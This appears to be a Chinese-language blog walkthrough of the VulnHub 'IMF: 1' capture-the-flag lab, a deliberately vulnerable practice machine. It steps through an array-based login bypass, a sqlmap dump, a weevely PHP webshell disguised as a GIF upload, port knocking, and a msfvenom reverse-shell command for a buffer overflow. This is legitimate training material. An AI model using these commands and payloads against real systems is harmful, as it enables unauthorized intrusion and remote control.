**

VulnHub-IMF: 1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)
靶机发布日期:2016年10月30日
靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。
目标:得到root权限&找到四个flag.txt
作者:大余
时间:2020-01-05

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.182.151
在这里插入图片描述
nmap扫描发现,80端口上运行着Apache,利用IP地址直接访问网页…
在这里插入图片描述
这边看到有三个选项卡,在第三个contact us源代码找到了flag1信息
在这里插入图片描述
在这里插入图片描述
flag1{YWxsdGhlZmlsZXM=}
这是一个base64值,用bp进行破解(最近时间紧迫,就不介绍很详细了,直接过不懂得直接来找我)
在这里插入图片描述
解码值:allthefiles
在这里插入图片描述
继续搜索看看还有base64值吗,搜到还有,继续解码
eVlYUnZjZz09fQ==
在这里插入图片描述
这里解码不对,在回去仔细看发现是连在一起的…继续解码
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
在这里插入图片描述
解码值:flag2{aW1mYWRtaW5pc3RyYXRvcg==}
一环套一环,还是base值,继续解码
在这里插入图片描述
aW1mYWRtaW5pc3RyYXRvcg==
解码值:imfadministrator
前面flag1解码值:allthefiles

二、web渗透

访问目录试试
在这里插入图片描述
在这里插入图片描述
imfadministrator目录可以访问,没用用户名密码
在这里插入图片描述
查看源代码,我使用user/pass登陆试试
在这里插入图片描述
无效的用户名,没信息了,回到最初页面看看contact us里还有啥信息
在这里插入图片描述
这里有三个用户:rmichaels、akeith、estone
这边下面是另外一种新知识
在这里插入图片描述
用bp去拦截他请求的数据包,在把数据越过检测
在这里插入图片描述
输入一个随意的账号密码
在这里插入图片描述
我尝试发送一个空数组作为密码,通过将密码字段名称更改为pass[],但是regex函数无法通过
这边用admin、administrator、imfadministrator作为账号返回数值都和测试账号一样
在这里插入图片描述
这边尝试用rmichaels用户,账号是对的,密码作为一个空数组越过了,获得了里面内容flag3
flag3 {Y29udGludWVUT2Ntcw==}
解码:continueTOcms
在这里插入图片描述
通过登录后,继续查看信息
在这里插入图片描述
继续用php执行SQL注入攻击(可以看下方链接学习更多!!)
https://stackoverflow.com/questions/1885979/php-get-variable-array-injection
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们需要找到底层目录,将截获的代码保存到本地中,进行SQL注入攻击
在这里插入图片描述
命令:sqlmap -r dayusql --risk=3 --level=5 --dbs --dump --batch --threads=10
查看到底层有jpg文件,将他下载下来查看信息
/images/whiteboard.jpg
在这里插入图片描述
在这里插入图片描述
发现有个二维码,666,手机微信扫一扫发现flag4(你可以用手机试试)
flag4{dXBsb2Fkcjk0Mi5waHA=}
在这里插入图片描述
解码后:uploadr942.php

三、文件上传提权

在这里插入图片描述
发现这里可以上传文件
这边使用weevely来进行提权(链接可以学习)
一般只能上传jpg、png、gif文件,这边我开始自己制作
在这里插入图片描述
搜先用weevely生成php文件
在这里插入图片描述
在这里插入图片描述
将生成的dayujiayou.php代码经过拦截输入到image中
在这里插入图片描述
改名为gif文件
在这里插入图片描述
随意添加GIF数值!!(制作木马)
在这里插入图片描述
成功上传,上传完后查看源代码!!
在这里插入图片描述
返回值: 43384891653d(木马值)
在这里插入图片描述
命令:weevely http://192.168.182.151/imfadministrator/uploads/43384891653d.gif jesse
在这里插入图片描述
使用weevely链接木马,成功提到低权,并查看到flag5信息
在这里插入图片描述
flag5{YWdlbnRzZXJ2aWNlcw==}
解码:agentservices
这里也可以用metasploit提权
flag5是代理服务的意思那就跟着这条思路继续往下走…
在这里插入图片描述
命令:find / -name agent &>/dev/null
命令:/usr/local/bin/agent
这使用>/dev/null把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件了…
发现有代理在执行

在这里插入图片描述
netstat查看端口7788也有代理在执行
在这里插入图片描述
到/usr/local/bin目录下查看access_codes发现端口序列:7482 8279 9467
这边使用knock敲门(基于python3 就是撬开端口的意思)
没有的先安装
在这里插入图片描述
命令:git clone https://github.com/grongor/knock.git
安装完成
在这里插入图片描述
这边正常敲开了靶机的7788端口
在这里插入图片描述
现在不知道这ID是啥
这边需要二进制文件进行反向工程并获取代理程序ID…(真难,我这里理解原理用了好多时间…)
前面我们运行/usr/local/bin目录下的agent会需要输入ID,这边我们从agent文件下手
先把他传到kali本地
命令:file_download /usr/local/bin/agent /root/agent
在这里插入图片描述
这边查看到agent是ELF32位文件,将文件提权后执行,随意输入任意ID,ID不对退出后,使用ltrace(跟踪进程调用库函数的情况)查看agent信息
在这里插入图片描述
随意输入fgets(…然后看到了agent ID(这是有效的ID,可以多次输入错误ID查看)
在这里插入图片描述
这边ID正确,其中选项2和3可以让用户输入内容,
如此看来是要通过缓冲区溢出7788端口的agent程序,这边用二进制修改exp
为该程序创建一个利用程序,首先我们为msfvenom有效负载创建一个shellcode
在这里插入图片描述
命令:msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.182.149 LPORT=6666 -f python -b “\x00\x0a\x0b”
在这里插入图片描述
利用二进制py修改exp进行提权
将文件写入本地agentsploit.py中
在这里插入图片描述
flag6{R2gwc3RQcm90MGMwbHM=}
Gh0stProt0c0ls

这台靶机,涵盖了知识量挺大的,从熟悉BP、写木马、gdb拆解、二进制、缓冲区溢出等等,花了太多时间,这一切都是值得滴,一定要自己手动做,手动写,你才知道当你熟悉了,这些不是特别难,加油!!!

由于我们已经成功得到root权限&找到6个flag.txt,因此完成了CTF靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。
在这里插入图片描述

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐